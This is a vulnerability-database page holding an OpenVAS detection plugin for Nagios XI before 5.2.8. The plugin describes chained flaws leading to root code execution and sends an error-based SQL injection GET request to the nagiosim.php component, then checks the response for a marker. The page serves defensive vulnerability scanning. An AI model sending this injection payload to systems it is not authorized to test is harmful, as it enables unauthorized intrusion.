Lucene search
+L

Nagios XI < 5.2.8 Multiple Vulnerabilities - Active Check

🗓️ 03 Jun 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 9 Views

Nagios XI < 5.2.8 Multiple Vulnerabilities - Active Check. Prone to unauthenticated SQL injection, authentication bypass, command injection, privilege escalation, server-side request forgery, account hijacking, and remote code execution

Refs
Code
# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:nagios:nagios_xi";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105749");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_version("2023-11-24T16:09:32+0000");
  script_tag(name:"last_modification", value:"2023-11-24 16:09:32 +0000 (Fri, 24 Nov 2023)");
  script_tag(name:"creation_date", value:"2016-06-03 12:51:38 +0200 (Fri, 03 Jun 2016)");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Nagios XI < 5.2.8 Multiple Vulnerabilities - Active Check");

  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("gb_nagios_xi_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("nagios/nagios_xi/http/detected");

  script_tag(name:"summary", value:"Nagios XI is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Reported vulnerabilities include unauthenticated SQL injection and
  authentication bypass, arbitrary code execution via command injection, privilege escalation,
  server-side request forgery and account hijacking. These vulnerabilities can be chained together to
  obtain unauthenticated remote code execution as the root user.");

  script_tag(name:"affected", value:"Nagios XI through version 5.2.7.");

  script_tag(name:"solution", value:"Update to version 5.2.8 or later.");

  script_xref(name:"URL", value:"http://www.security-assessment.com/files/documents/advisory/NagiosXI-Advisory.pdf");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + "/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service='+AND+(SELECT+1+FROM(SELECT+COUNT(*),CONCAT(" +
            "'|',(SELECT+0x53514c2d496e6a656374696f6e2d54657374),'|',FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+OR+'";

if( http_vuln_check( port:port, url:url, pattern:'(SQL-Injection-Test|relation "information_schema.character_sets" does not exist)' ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation